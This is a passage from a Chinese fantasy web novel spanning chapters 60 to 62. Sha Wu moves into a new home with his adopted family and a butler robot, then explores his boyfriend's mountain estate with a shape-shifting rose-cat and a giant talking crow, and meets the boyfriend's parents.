沙叁对车也感兴趣：“这个防风罩也很舒服，比我看过的那些小飞车好多了。也不知道就多一个又丑又麻烦的防风罩，一辆三千的小飞车就敢卖三万。” 防风罩？ 沙伍看着套在小飞车外面的泡泡：“哦，这个不是防风罩，是我的异能。” 沙叁沉默了一会儿，语气中有些失望：“你的异能就这？往后变厉害了，能干什么？要不还是哥教你怎么打架吧？” “不用。我现在打架很厉害。”打遍一年级无敌手，偶尔还能欺负学长学姐。 沙叁不太相信，看着房地产交易中心到了，找了个位置把小飞车停下，带着沙伍进去：“你打架能有多厉害？” 他对沙伍的记忆还停留在不到自己腰高的小不点，天天被一群小屁孩欺负得吃不饱睡不好，偏还死犟着不告状。 “我现在是打架职业选手……预备役。”可惜养兄姐都是普通人，就连沙妈妈也只有一级，不然他能天天给他们投喂各种生猛海鲜。 “也对。”沙叁想着以后青龙学院的学生出去，都得和变异生物打架，再看看身边瘦巴巴的沙伍，突然抬手比划了一下，“咦？你是不是长高了不少？” “嗯哼！我现在181啦~”沙伍说着，还踮了踮脚尖。 沙叁表示满意：“嗯。读书训练不要太累，长好身体就只有这一段时间。你看看我们青龙的男人，起码一米九，体重不说一百八，你也得给长到一百六。你这种练武的应该体重更重一点，长到两百也不会胖。” 沙伍抬头看向身高196的沙叁，脚步停顿了一下，突然扭头：“哼！” 他小鲨鱼体长好几米，体重好几……零点几吨！ “哈哈哈！”沙叁抬手揉了揉他的脑袋，扫视一遍大厅，很快就抬起手招呼，“走了，原来的业主已经到了。” 其它手续已经全部办完，他们到房地产交易中心，就是拍一下照片，确认是本人交易，全程不到三分钟就办理完毕。 原业主确认收到全部款项，立马笑逐颜开，跟他们热情道别。 沙叁留在大厅里，给沙伍指怎么看自己的房产信息：“喏，这个青龙城通办的个人信息，固定资产看到没？点进去。” 沙伍照着点进去，看到自己名下果然有一套房子：“啦啦啦~” 沙叁看着好笑：“开心啦？好了，走吧。” “嗯。” 回去还是沙叁开小飞车，沙伍坐在后座对自己的固定资产百看不厌：“三哥，你要不要搬过来一起住？反正这么大的房子，平时就沙妈妈一个人住也是浪费。” 他们五个养子女，沙壹和沙肆平时主要在泉城，沙贰和沙叁在青龙城。 沙伍平时住学校宿舍。 沙贰马上要结婚了，肯定不可能和他们住一起。 剩下沙叁一个单身狗。 沙叁现在就住在中介公司提供的员工宿舍，住宿环境其实和孤儿院差不多。 一个小房间里住上八个人，中间连摆张桌子的空地都没有。 面对沙伍的邀请，沙叁狠狠心动，但是：“那对外就说我是帮你看房子的亲戚。” “为什么？” “怕被人借钱。”沙叁翻了个白眼，“你还没出社会，不知道外面的鱼龙混杂。” “哦。”沙伍不理解有多混杂，选择相信沙叁，“那你现在把东西收拾了，正好我们一起搬家。” 沙叁也不推拒：“行。” 他东西不多，一通收拾，在外面工作那么多年，行李也就比当初沙伍搬到大学的时候，多了一口小锅。 两人回到新家，门口多了个快递箱。 沙伍看到手环上梁伯发来的信息，是给他买的管家机器人。 家用机器人价格还是比较昂贵的。 一般是一栋楼里配备几个，需要使用的时候预约上门，提供的也就是基础保洁服务。 沙叁做房产中介，也算是去过几个高档楼盘，看到管家机器人还是惊讶了一下：“好家伙。我以为那些功能很全的家政机器人已经很厉害了，你多大点地方，竟然还给专门配一个管家机器人？这种不应该是一栋楼里给配一个吗？” 沙伍几下就拆开箱子，看着说明书给第一次启动的管家机器人设置程序：“管家伯伯不放心我。” 沙叁听他这么说，跟着他一起盘腿坐在地上，表情严肃下来：“你男朋友家真的对你很好？” “嗯。他们人都超好的。” 沙叁仔细看他，发现他说话的时候，整个人都散发着愉悦的气息，显然是觉得真的高兴，没有受到一点委屈：“那就好。” 沙伍回头看他：“我买了冰淇淋在冰箱里。” 沙叁立马跳起来：“我去拿！” 沙叁拿了之后也没来得及吃，有客户叫他去看房子，马上就走了。 沙伍把管家机器人设定好。 管家机器人直接就自动接管全家，指挥着家里的机器人工作，订购了晚上的食材，又跟沙伍一起讨论该怎么布置露台。 “我想种一棵变异柠檬。” 管家机器人：“亲，不建议在居住区种植带有攻击性的变异植物呢。” “种月季。” 管家机器人：“亲，月季的变异概率很高，具有一定的危险性。您真的想为了种植月季，不惜和全小区为敌吗？” 沙伍抬头看了一眼管家机器人：“那你有什么建议吗？” 管家机器人立刻给出了几套方案：“我这里有一个果蔬套餐……考虑到将来可能需要购置飞车，建议预留出车位……考虑到露台种植的特点……建议购买这些种子和种苗。” 沙伍扫了一眼：“发货地沭城的去掉，那边卖假苗木。”男朋友爱种地，他多少也知道一点“沭城大学”的名气。 管家机器人进行了一番搜索和知识更新：“是我没更新资料。” 等沙妈妈下班回来的时候，沙伍正躺在露台上睡觉，旁边摆着个空的冰淇淋盒子，身边还有个管家机器人给他念书。 沙妈妈听了一耳朵，本来还以为是什么小说，结果全是各种异能链路的理论知识。 “怪不得睡这么好。”换她听这些，她也能一秒入睡。 她没叫醒沙伍，对显示出微笑表情符号的管家机器人也露出一个微笑，轻手轻脚进到屋内，感受室内充足的暖气。 刚脱下外套，换上拖鞋，突然回头看向门外，确定沙伍穿着的是背心中裤，只在肚皮上搭着一条黄色毛毯，顿时就又换了室外拖鞋出来：“小伍，起来。回屋里睡！” 沙伍迷迷糊糊醒来：“沙妈妈~” “哎~”沙妈妈下意识应了一声，随即一板脸，“起来！外面这么冷，你还穿这个！” 沙伍打了个哈欠：“哦。我没想睡来着，不知道怎么就睡着了。” 沙妈妈这才看清楚他盖着的不是毛毯，是抱着一条金色龙的布偶。 青龙城以龙命名，龙形的玩具很常见。 沙妈妈倒是没多想，只觉得现在孩子长大了，能够自己买玩具了，又是高兴又有点心酸。 沙伍走进室内，也没回去房间，一扭头直接倒在客厅沙发上。 沙妈妈问他：“考试累着了是不是？” “还好，就是突然闲下来了。”沙伍翻了个身，“二姐他们来了叫我。” “好，你睡吧。” 家政机器人拿过来一条毯子给他盖上。 沙妈妈想去厨房干活。 管家机器人跟在她身后：“沙妈妈，晚餐的水饺和食材已经准备好了，您看一看菜单？” “您去看一下自己的房间？” 等沙贰带着男朋友和沙叁前后脚到的时候，沙妈妈刚做完汗蒸。 沙叁一看：“沙妈妈，您这样我得叫您姐了。怎么越活越年轻了呢？” 沙妈妈没好气地拍了他一下：“当销售当得油嘴滑舌的。” 沙叁和沙贰都同时看向她的右手。 沙贰伸手把她的右手拿过来看：“真神奇，一点都看不出来是义肢。” 他们走进客厅，看到正中央的大沙发上，沙伍睡得快要滚到地上去了。 沙贰的男朋友曾绍祺看了就笑，压低了声音和沙贰咬耳朵：“这沙发真大。我们家也在客厅买个大的沙发床，这样你要是把我赶出来，我就睡沙发。” 沙贰没好气地瞪了他一眼：“就你长了一张嘴。” 他们现在还是租房住。 青龙城的房价实在是太可怕了。 他们手头确实有一笔积蓄，但是用来买房的话只能买在很偏的地方，距离他们的工作单位就很远，每天的通勤就会比较麻烦。 管家机器人带着他们参观了一下室内布局。 沙叁听他们的打算，说道：“不着急。房子我给你们留意着。” 沙贰他们现在住的房子就是他帮忙找的，性价比特别高，比其他租房的同事们的住房条件要好得多，也不跟沙叁客气：“肯定得麻烦你。” 沙叁看着只是经过一个下午，房子就已经从一个只摆了基础家具的房子，变成了特别具有生活气息布置温馨的家，过去把沙伍叫起来：“起床去洗把脸，准备吃饭了。” 沙伍眼睛已经睁开来了，就是不想动：“哦。” 看着沙伍去楼上主卧，沙叁看了看房子里的各种布置，感慨：“还是得有钱啊。” 沙妈妈之前在瑞云实验室的山顶别墅住了几个月，现在对有钱人的生活已经祛魅，感觉也就是那么一回事：“也不是得那么有钱。过好自己的日子就好了。” 撇开负债，她对于现在的工作生活都很满意。 晚上，一大家子一起吃了个热火朝天，结束晚餐后，还来了一份冰淇淋火锅。 “美滋滋~”沙伍坐没坐相地歪在沙发上，接过管家机器人泡好的茶。 茶杯还没送到嘴边，手腕上一沉：“喵~” “小粉？”他不是把小粉从行李箱里拿出来了？ 感觉他都看着小粉跟薛哥一起走的，难道是看错了？ 破锣嗓小粉猫低头，一点都不怕烫地把茶水一口气喝干，踩着沙伍的胳膊走到他肩头，跟他蹭脸。 沙贰眼前一亮：“怎么还有粉红色的小猫啊？也太漂亮太可爱了吧？可以摸摸吗？” 小粉打量了一下沙贰，抬起一只爪子放在沙贰伸过来的手指尖上，一扭身跳到沙伍的头顶：“喵！” 曾绍祺眨眼：“它是在说：退下吧。” 沙贰愈发觉得可爱：“这也太好玩了。” 沙叁也觉得有意思：“这是你养的猫，还是你男朋友家的猫？过来给哥哥抱抱？” 他的手还没摸到小粉猫身上，小粉猫突然变成一条粉色鬃毛绿色鳞片的龙，大腿粗，四五米长，盘绕在沙伍身上。 “嘶——小粉，收收爪子。”人都要被踩扁了。 粉龙一瞬间变成小猫咪，无辜眨眼：“咪呜~” 刚才都还眼睛亮晶晶的人们瞬间定格。 沙伍把小粉抱在怀里顺毛：“是宿舍的园丁薛哥养的月季，跟我比较亲。” 月季？ “你们异能者养的月季都这么……这么……的吗？”沙叁半天找不出确切的形容词，只恨自己读书少。 沙伍理解他的意思，捏捏小粉的爪子：“当然不是。小粉是特别的。” “喵~”小粉扒在沙伍身上呼噜噜踩奶，一抓一抓把沙伍的居家裤的裤腿抓烂。 沙伍显然早就习惯了，抱着猫跟兄姐们聊天，没一会儿就一起打牌。 “二姐、曾哥，你们过年的时候过来一起住，热闹一点。” 沙贰他们不反对：“行。不过我们百货公司过年正是忙的时候，还得正常上班。” 他们工作的百货公司距离这里倒是不远。 沙妈妈最高兴：“我也有两天要值班。今天回来都有地方住，多亏了小伍。” 沙伍笑得呲出一口白牙。 沙贰他们很好奇青龙学院的课程。 沙伍就把自己刚结束的课程和下半学期要学的课程给他们看。 几个人看得头疼：“要学这么多门数学？” “还好，一年级的数学不难。上课认真听就行了，考试的时候都不用复习，还挺省力的。这两门课交报告就好。这两门是异能的课程，测试一下就行。剩下的理论课就是背书，考试前背上一遍就行。”学校安排的大一课程真的还好，难的是院长给安排的课程。 想到毫无进展的链路课程，小鲨鱼焦躁地想咬晶核。 曾绍祺跟沙伍没见过几面，听他这么说就以为课程真的不难：“那倒是还挺轻松的。” 沙贰翻了个白眼：“你听他吹。小伍是那种随随便便就能考上共工大学的学霸。” 曾绍祺顿时肃然起敬：“失敬失敬。” 沙伍真不觉得自己是什么学霸：“我是拼尽全力加上超常发挥，才踩着分数线进的共工大学。” “好啦。你的拼尽全力就只是上课认真听讲，课后完成作业。到高三了还一点没减少打工时间。”沙叁感慨。他要是有这个脑子，不说考共工大学，考个差不多一点的大学，现在也不至于做房产中介，甚至都不是做豪宅的。 沙妈妈对沙伍满含愧疚：“对不起，我都不知道你是异能者。不然也不会让你能量不足常年亏空。” 沙伍倒是没在意：“仪器都测不出来的事，反正我现在好好的。”他对沙妈妈挤挤眼睛，“我现在突破到一级了哦。沙妈妈你再不努力，我就要比你厉害了。” 沙妈妈故意说道：“那我也要努力了。不然你以后犯了错误，我都打不到你了。” “我怎么会犯错误？” 唯一不明真相的曾绍祺立刻接话：“对啊。小伍那么懂事。”读书好，长得好，还会赚钱，性格还好。 他和沙贰将来的小孩，要是有一半像沙伍，就心满意足了。 沙妈妈、沙贰、沙叁同时沉默了。 曾绍祺眨眼：“我说错什么了？” 沙伍：“没有！姐夫慧眼识英雄！今天晚上我们不醉不归！” 曾绍祺顿时气吞山河：“好！不醉不归！” 沙贰看着曾绍祺一口气喝下一大杯啤酒，再看沙伍就喝了一口白开水，还好明天是下午的班。 沙伍在家里玩了三天，要不是姜纶一天N个通讯催，都快忘记了还得去后土城。 带着龙形家徽的豪华飞车停在露台上。 沙伍空着两手连个背包都不带，就准备上车。 还没去上班的沙叁本来只是例行出来送一送小弟，看到豪车，眼睛唰一下就亮了，再看看沙伍：“你不带行李？” “不带。那边什么都有。”准备好的新年礼物已经提前让机器人送上飞机了，飞过去就一个多小时，“那我先走了？等过年的时候带姜纶回来。” 学校寒假放得早，距离过年还有几天。 他看了看圈在手腕上的粉色猫猫头花环。 嗯，把小粉带上就好。 沙叁目送沙伍离开，看看时间准备干脆起床：“奇怪，怎么觉得那车上的龙标这么眼熟？” 他下意识查了一下车标，发现根本找不到对应的车标。 找不到他也不纠结，吃过早餐后虽然时间还很早，他一个人在家也没事干，干脆就去上班了。 沙妈妈的工作哪儿哪儿都好，就是上班时间太早，天不亮就出门了。 临近过年，又还没有过年，看房子的人几乎没有。 他闲着也是闲着，就在网上搜那个龙标，最后在一档时政节目里惊鸿一瞥：“卧槽！” 城主家的？！《 》 60-65 第61章 连窝端 无论是代表青龙城这个城市，还是一个省域面积的青龙城，都不存在一个具体的叫城主的岗位。 所谓城主，其实是网民对于创立青龙城家族当代族长的尊称。 这个城主，青龙城有，朱雀城、白虎城这类的都有。 华夏区有，别的大区也有。 只是华夏区的城主都相对低调，经历两百多年的发展，除了能进入历史教科书的寥寥几人之外，现在的城主是谁，还真没人知道。 起码沙叁是不知道的。 他学过历史，知道青龙城的创始人姚瑞云和后土城的创始人姜俣是夫妻。 他看八卦，知道姜纶就出自后土城的姜俣的姜家。 但，沙伍跟后土城姜家的小少爷谈恋爱，怎么能坐上青龙城城主家的车？ 什么时候这种高层，能跟自己这种草根扯上关系了？ 沙叁大为震撼，想发消息给沙伍，不知道该怎么措辞，干脆还是不发了。 小伍能够和城主家有关系，将来应该不至于随便被当成炮灰。 异能战士哪那么好当？ 看看沙妈妈就知道了，年纪轻轻刚上战场，也没有正经参与过几次和异能生物的战争，就损失了一条手臂，接下来二十年时间都过着只能说是饿不死的生活。 沙伍或许比沙妈妈更厉害一点，但异能战士越厉害，需要对付的变异生物也越强大。 他干房产中介，接触过不少曾经因为家里出了异能战士，生活起飞置换大房子的家庭；也接触过因为异能战士残疾或者陨落，生活一落千丈不得不卖掉大房子的家庭。 比起沙伍能够过上富裕甚至是奢靡的生活，他更希望沙伍平平安安。 他反反复复看着城主座驾的模糊视频，眼神没有聚焦，突然收到沙伍报平安的信息，才发现时间距离沙伍离开已经过了一个多小时。 在后土城机场落地的沙伍，发现机场的人明显比他上次过来的时候多：“那么早就提前回来过年了？不是应该出去的飞机更多吗？” 后土城作为华夏区五大城之一，是普通打工人的首选地之一，外来人口大量汇集。 逢年过节，从后土城出发前往外地的列车和航班供不应求。 他怎么看都是降落的飞机。 薛春坐在飞车里，跟沙伍闲聊：“现在都是各个地方的学生出来旅游的。上班的人这会儿还没有放假。等真正过年了，后土城的酒店餐饮什么的价格会涨一波。他们算是打个时间差。” 沙伍想到上次跟沙妈妈的走马观花，翻出自己的旅行清单：“我也有好多景点没去过。” 薛春把小粉仰天抱在腿上，手指抵着它的鼻头，又掏出一个花盆来，把它放进去，一边跟沙伍说道：“你这个寒假大概没空出去玩了。小少爷会带你去见老爷和夫人。” 沙伍摸摸胸口，有点紧张：“姜爸爸和姜妈妈是什么样的人？” 天哪，他要去见历史人物了！ 他其实还准备了几张手工纸，想让两位给他签个名来着。 手工纸是他亲自做的，教程找了美院的师兄。 薛春看他的样子，忍不住笑：“我也不知道。我没见过老爷和夫人。” “咦？哦。”沙伍大概知道姜俣和姚瑞云两夫妻有很重要的事情，但具体不知道究竟是什么。 去见两人的事情，姜纶之前跟他说过几次，感觉姜纶比他还期待。 也对。 毕竟小少爷很急着结婚，也不知道在急什么。 沙伍想到他给姜纶送手环贴纸的时候，忍不住笑出声。 他当时真的没多想。 毕竟贴纸太小了，又轻薄，单独放着怕弄丢，就找了个大小合适的盒子，怎么看放戒指的首饰盒是最合适的。 嗯，他后来有想着给姜纶送戒指。 结婚戒指确实还太早，但是作为定情信物，戒指还是很合适的。 就是他翻了翻自己的收藏，总觉得没有合适的晶核作为主石。 飞车很快就到了龙丘。 姜纶不在家。 梁伯倒是在：“小少爷去处理一些工作。”故意小声说道，“被大小姐抓去打工。” “哈哈。”沙伍听得直乐。 梁伯看他没打算休息，也不饿，就问他：“要不要去院子里逛逛？” “好！”沙伍上次来连姜纶住的这栋房子都没逛完，更不用说龙丘了。 然后梁伯就给他准备了一辆小飞车：“好了，让小粉陪着你去玩吧。” 小飞车和他平时开的客货两用的小飞车不一样，完全展开的话，相当于一个小房车，功能齐全，布置相当精致。 院子就是龙丘所在周围的一段山脉。 沙伍是两条腿走，让小飞车在边上跟着，走不过去的地方就开小飞车，拿着手环记录周围的动植物。 冬天的山林看上去比较空旷，但仔细观察的话，还是能够看到很多很有趣的场景。 尤其是对沙伍这个从小生活在平原地区的人，进山这件事本身就足够让人兴奋。 地上有积雪，不厚，踩在上面嘎吱嘎吱响。 干枯的草茎一根根戳在雪上，踩上去咔嚓一下断裂。 同样干巴巴的灌木丛头顶，有一些干巴巴的果实。 沙伍摘了一些，装在鲨鱼泡泡里，准备等回去问问梁伯。 大部分的树木已经没有了叶子。 披着雪的常绿树看上去也像是泛着墨色，瞧着像是一幅画。 雪地上偶尔能够看到一些奇奇怪怪的动物脚印，沙伍不确定到底是什么的，把它们一一记录下来。 他走到一处略微宽阔的谷地，近处的山色浓烈，远处的山只有一层淡淡的灰。 这里的积雪比别处要深一点。 他清理出一块地方，展开小飞车作为临时营地。 泡泡笼罩住大概十平米大小，小飞车占了一大半。 沙伍把野营的炉子拿出来，开始煮茶热饭。 气温太低，小粉不是很有活力，感觉到食物的热气，它才从沙伍的袖口探出一只爪子。 沙伍一指头戳上去。 毛爪子“歘”一下收回去，过一会儿又试探性伸出来。 沙伍跟小粉隔着袖子玩了一会儿。 寒风经过泡泡和小飞车的两重过滤，加上煮茶产生的热量，小小的空间内很快温暖起来。 热乎乎带着点辛辣味的姜红茶煮开，甜味伴随着热气弥漫。 小粉终于从袖口探出一个鼻尖，再一点点探出脑袋，最后两个尖耳朵从袖口里钻出来。 沙伍倒了一杯姜红茶，放在它鼻尖给它闻闻：“喝吗？” “喵~”喝。 沙伍就把杯子放到旁边：“先凉一会儿再喝。” 小粉确实经常喝烫的，但他还是觉得作为一株植物，经常喝开水不好。 小粉就勾着尾巴，团在炉子边上：“喵呜。” 炉子没有明火，但是有散发的热量，很快把饭盒热好了。 沙伍夹起一个饭团，凑到小粉面前：“吃吗？” 小粉鼻子耸动了一下，迟疑地张了张嘴，最后坚定地闭上了，还移开了脑袋。 行叭，猫都不吃。 沙伍只能自己吃。 红糖姜茶很快就放凉了。 小粉把脑袋埋进杯子里，并不像猫一样舔，而是直接吸水，速度飞快。 饭团里包裹着菌菇酱，饭团的米饭也经过一点调味。 沙伍吃了一口：“还挺好吃的。” 小粉不感兴趣，突然对着头顶叫了一声：“喵？” 沙伍顺着它的视线看过去，发现是一只尾巴长长的鸟飞过，落在距离他们二十多米的一棵高高的树上。 鸟张嘴问他：“你是谁？” 沙伍觉得这只鸟的普通话不是很标准，可能是当地人口音？ 沙伍反问他：“你是谁？” 他现在还在龙丘的范围内，相当于在自家院子里遛弯，会出现在这里的应该也是自家人。 他的长相应该全家都知道吧？ 这是刚从外面回来，还没更新信息？ 长尾巴鸟在树枝上横着跳了跳，模样轻盈，歪着头的时候身体微微前倾，展露出灰蓝色的背部羽毛：“我先问你的。” 红嘴蓝鹊，沙伍认识这种鸟。 他们学校也有。 一个家族的红嘴蓝鹊和喜鹊统治了共工大学的陆地，和潮汐湖附近的各种鹭井水不犯河水。 其它鸟类只能在这两大势力之间夹缝中求生存。 本来应该是会有猛禽的，但是他们学校有最猛的猛禽（？）院长，真正的猛禽根本无法靠近。 沙伍突然不想告诉红嘴蓝鹊自己的身份，拿着一个小饭团在手上，扬了扬：“吃吗？” 红嘴蓝鹊歪头歪脑地朝着他看了一会儿，抬起翅膀，马上就收拢起来，并没有飞过来：“过来。” 沙伍不想动，甚至还想原地睡个觉：“你过来。” 红嘴蓝鹊突然从树上猛地起飞，但是已经来不及了。 一条布满倒刺的藤蔓沿着树干爬到了高处，把整只鸟都缠绕得死紧。 “嘭”地一声，红嘴蓝鹊的羽毛全都炸开，变成了一只香喷喷的烤小鸟。 “啊？”沙伍后知后觉，看向捕捉到猎物的小粉，“那是变异鸟？” 长长的藤蔓裹着烤小鸟收回，举到沙伍面前摇了摇：“喵？”吃吗？ 凑近了看，这只红嘴蓝鹊明显体型极大，没了毛还像只两三斤的鸡；只不过刚才离得远，看起来才没那么具有冲击力。 沙伍摸摸猫猫头：“谢谢，我不吃，你吃吧。” 小粉猫并没有用嘴撕咬，而是直接从藤蔓上长出褐色的根，扎进烤小鸟的身体中，几下就连皮带骨一起吸干，只留下一枚火系晶核。 小粉显然对这枚晶核比较纠结，尾巴裹着晶核来回摇摆，最后放到沙伍手心里：“喵。” 沙伍听懂了它的意思：“回去给你换别的属性的晶核。你想要木系的？” “喵。”可以。 “水系的？” “喵。”也行。 “体质属性的你能用吗？” “喵。”能。 “哈哈哈！”一阵大笑声突然响起，惊落的雪花直接掉到了沙伍摆在外面的小餐桌上。 沙伍仰头一看，发现是一只很大的乌鸦。 什么时候来的？ 完全没注意到。 大乌鸦展开翅膀，巨大的翅膀像是能够遮住天空，让本来就有些阴沉的天一下就暗了下来。 他无声盘旋，轻盈地降落到小飞车顶上，然后没站稳，呲溜滑到了小餐桌上，带着小餐桌震动了一下，上面的杯盘发出一阵哐哐声。 尴尬。 沙伍敢肯定这是个人了，野生鸟应该不会摔个屁股蹲：“你好，吃饭团吗？” 大乌鸦不知道说什么，把沙伍剩下的半盒饭团默默吃了。 沙伍给他倒了一杯红糖姜茶，看看自己的包子蒸好了，给他也递了一个。 大乌鸦不语，只一味吃。 小兔子包子也太幼稚了。 小刺猬包子看着太白。 小猪包看着就刚刚好。 沙伍吃完包子，又从保鲜柜里拿出一大份刨冰，上面盖了厚厚的各种果脯。 大乌鸦瞬间不自闭了，上来就一口叨走，嚼得冰渣四溅，吃相相当不优雅。 沙伍不得不拖着折叠凳往边上挪了挪：“你不是吞的，还用嚼啊？” “肯定是要细细品味美食~” 大乌鸦说话就很有人味。 小粉伏低身子，慢慢靠近刨冰碗，然后猛地一下扑进碗……被大乌鸦用翅膀抓着放到一边。 沙伍看着这个动作，瞬间不躲了，上前试探性扒拉了一下大乌鸦的翅膀，见他没有反对，就把翅膀打开。 比他胳膊还长的翅膀就跟普通的鸟类差不多。 “也没长手啊？”怎么抓的小粉？ 大乌鸦动了动翅膀，沙伍感觉有一股力量把他包裹起来，带到了一边。 沙伍亲身体验了一把，眼睛晶亮：“你用异能给自己弄了个手！好厉害！” 大乌鸦继续埋头吃刨冰：“少见多怪。” 沙伍从保鲜柜里拿出了几颗红通通的苹果。 大乌鸦下意识张嘴咬住一颗，对上沙伍亮晶晶的小眼神：“真的是，傻大胆的小鬼，怎么连人和变异生物都分不清楚。”他展开翅膀，把沙伍抛到了天空，又用异能牵扯回来。 “哦豁！”沙伍感觉可太刺激了太好玩了。 虽然他经常被夜鹭带着飞，但在天上飞和在天上荡秋千的感觉是不一样的。 沙伍被甩了好一会儿，回到地上活蹦乱跳，一点都没有眼晕腿软。 大乌鸦又多看了他两眼：“你不是鱼吗？” “是鱼怎么了？”沙伍瞬间放下茶杯，摆出一副准备战斗的姿势。 他们水产养殖学院超强！ 别以为长两个翅膀会飞就了不起，搞得他们好像没有鱼翅一样。 大乌鸦用异能大手把他送到一棵很高的树上。 寒风吹得树梢不断摇晃。 沙伍坐在树梢上远眺，发现已经看不清房子了。 山里面的信号也不好，不能说完全没有，偶尔有一点也没法用。 他来回看了看，突然指着一个方向：“那里住着人？” 一股轻烟升起，隐隐能够闻到一些比较杂乱的异能的味道。 大乌鸦飞到他旁边的树上落下：“奇怪，那边应该没有人。” 说着，他展翅就飞。 沙伍直接就扑过去，抓着他的爪子：“我也要去！” 大乌鸦被他这动作倒不至于吓一跳，但也歪了一下身体：“真的是，什么热闹都凑。” 话是这么说，他还是抓着沙伍往有炊烟的地方飞去。 小粉也变成一条粉龙跟了上来，显然不想自己飞，挂到沙伍肩膀上。 沙伍给自己搓了个泡泡，盘腿坐好，背靠着变大的小粉，手上拿着个苹果，咔嚓啃了一口：“鸦鸦，你飞起来怎么不走直线？弯弯绕绕的？” 大乌鸦呱呱叫了两声：“我们鸟都是这么飞的，要借助气流，知不知道？” “你不是人吗？”沙伍又咔嚓咬了一大口苹果。 小粉爬到他手腕上，试探性张嘴，也想做出“咬”这个动作，把自己的刺给扎了进去，然后就拔不出来了，仰躺在沙伍盘起来的腿中间，四脚朝天试图蹬掉苹果。 大乌鸦被他说得明显愣住了，过了几秒钟才说道：“哦，对。我是人，我当然是人。” 沙伍对着大乌鸦嗅了嗅，并没有闻到特殊的污染的味道：“你叫什么？怎么在龙丘？” 大乌鸦这次说话的速度明显放慢：“我叫风阳羽。龙丘是我……家？” 小粉好不容易把苹果蹬掉，追着苹果一口咬下去，又把自己的刺给卡住。 沙伍看着小粉跟苹果搏斗，再看了看在天上飞的巨大乌鸦，咽了咽口水：“你是住这儿吗？” “住？我好像不……应该是住这儿。”大乌鸦的眼睛有些迷茫，正当他想继续思考的时候，眼前已经出现了炊烟的源头——一个着火的鸟窝。 那应该是一个鸦科的鸟窝，非常巨大。 冬季光秃秃的树杈间，鸟窝显得异常显眼。 起火的原因沙伍一眼就看明白了：“傻鸟咬晶核，炸了。”咬了一颗火系晶核，把自己给炸死了。 小粉瞬间把鸟窝里两只还很新鲜的烤鸟绑到了泡泡里。 沙伍操控周围的雪，把火灭掉，顺带连窝端走。 大乌鸦看着他的操作，眼睛里不迷茫了：“你把窝搬走干什么？你想住在窝里？” 沙伍挥挥手，指着停放小飞车的地方，示意他把他们送回去。 等大乌鸦航班起飞，他才说道：“你不懂，这是打击报复。我经常被鸟欺负，难得能搞到一个完整的鸟窝。” 至于鸟窝里一堆亮晶晶的晶核，那不重要。 他绝对不是因为晶核好看，才直接连窝端的。 异能小鲨鱼围绕着那颗已经耗费掉许多能量的火系晶核啃咬。 这颗晶核不大，看得出来绝大部分的能量“贡献”给了倒霉的小鸟夫妇。 不然这颗晶核要是完全炸开，足够把整棵树点燃。 在干燥且大风的冬季，很可能引发一场后果不可知的火灾。 反正这么放着很可能会继续炸开，还不如拿来吃掉。 大乌鸦注意到沙伍的动作：“你一条鱼，干嘛吸收火系晶核的能量？不怕变成烤鱼？” “不怕。”他是吞噬，又不是直接吸收，还是有区别的。 大乌鸦载着他重新回到小飞车边上，看着沙伍把一堆行头收起来。 沙伍对大乌鸦招招手：“来。” 大乌鸦飞到小飞车的顶棚……飞进小飞车里面。 沙伍指指后座的鸟窝，看大乌鸦跳进去：“坐好，回家咯~” 没信号的地方没有自动导航，自动驾驶也不太好用。 不过没关系，沙伍也没走出多远，飞高一点就能看清山顶的建筑物。 小飞车很快停在大门口。 他刚下来，姜纶的飞车就跟着停到了旁边。 车上先下来三个沙伍没见过的人，样子一看就很干练和精英。 姜纶最后一个下车。 沙伍抱着装了乌鸦和猫的鸟窝：“姜纶。” 姜纶一看到沙伍，脸上原本严肃的表情就春暖花开冰雪消融，快步走到他身边：“抱歉，没去接你。梁管家说你出去逛了？有没有冷？” 他很想抱一抱沙伍，却被一个巨大的鸟窝隔着，里面是熟悉的猫和不熟悉的鸟……等等！ “风阳羽？” “啊——”乌鸦张嘴，歪脑袋。 沙伍倒是不意外姜纶认识乌鸦：“我们在院子里碰到的。” 姜纶眼神不善地盯着乌鸦：“下来！你好意思让人抱着你？” 乌鸦把脑袋歪到另外一边：“我为什么不好意思？” 姜纶伸手就去抓乌鸦。 乌鸦张嘴就一口火喷了出来。 沙伍感觉眼前一花，巨大的风差点把他掀翻，藤蔓构成的护盾将他和三名精英保护在里面。 等藤蔓收敛的时候，外面的天空中金龙把乌鸦撵得羽毛乱飞。 乌鸦的体型比刚才更加巨大，翅膀和尾巴的边缘冒着一层金色的火焰，在空中留下一道特殊的云彩。 沙伍看着总觉得像是要飞机失事。 一只青黑色的龙爪虚影悄无声息地下落，把金龙和乌鸦都给摁到地上。 沙伍感觉到一股温热的风吹到脸上，然后才是“轰”地一声响。 龙爪虚影消失，沙伍赶紧骑着小粉龙飞过去查看。 原本草木葱茏叠山垒石的庭院，现在多出了一个三米深的大坑。 大坑周围被破坏的风景，正在飞速复原。 沙伍没想到自己会看到这样的情景，有些愣神。 还是站在深坑边上的陌生青年把他叫回神：“小伍，来。” 小粉龙把沙伍放到地上。 “您好。”沙伍看着陌生青年跟姜纶有四五分相像的脸，又看看灰头土脸手上还掐着乌鸦脖子的姜纶。 姜纶不是只有一个姐姐吗？没听说有哥哥啊。 陌生青年看出他的茫然，笑着解释：“我是姜纶的爸爸，姜俣。你跟着姜纶叫我爸爸就好。” 沙伍下意识喊人：“爸爸。” 第62章 晒太阳 小鲨鱼差点被自己蠢哭。 乱叫人，一点都不矜持。 “哎呀，小伍怎么了？是不是被小纶欺负了？妈妈帮你。”明艳大方的大美人突然出现，揪住姜纶的后脖颈出现，伸手摸了摸沙伍的头顶。 沙伍只能涨红着脸，小小声：“妈妈。” “哎~好乖~”姚瑞云拿出两个红包递给沙伍。 沙伍双手接过：“谢谢爸爸妈妈。” 姜纶挣扎了一下：“妈，放开我。” 本来沙伍改称呼是一件近似于两人结婚的喜事，这个时候他应该和沙伍站在一起才对，被妈妈提溜着算怎么个事儿？ 姚瑞云把他放下，拍了拍手：“你跟风家小孩儿闹什么呢？” “我闹什么？他这幅样子，还待在小鲨鱼身边，多危险？”姜纶告状，一回头就见沙伍把危险的乌鸦抓起来塞进泡泡里。 沙伍听他说话，“啊”了一声：“还好吧。他很好啊。” 虽说脑子似乎有点混乱，比较符合污染程度过高的情况，但他闻不到污染的味道。 即便在这种情况下，鸦鸦也很好，会带着他玩。 能一起玩耍的就是好朋鸟。 在泡泡里趴着张开翅膀，脑袋向上，一副晒太阳姿势的大乌鸦：“啊！” “啊什么啊？”姜纶恨不得把破鸟再抓出来打一顿，“妈，你看他根本就不是个人！” “他当然是个人。他说过他是个人。”沙伍话落，白色雾气把大乌鸦包围。 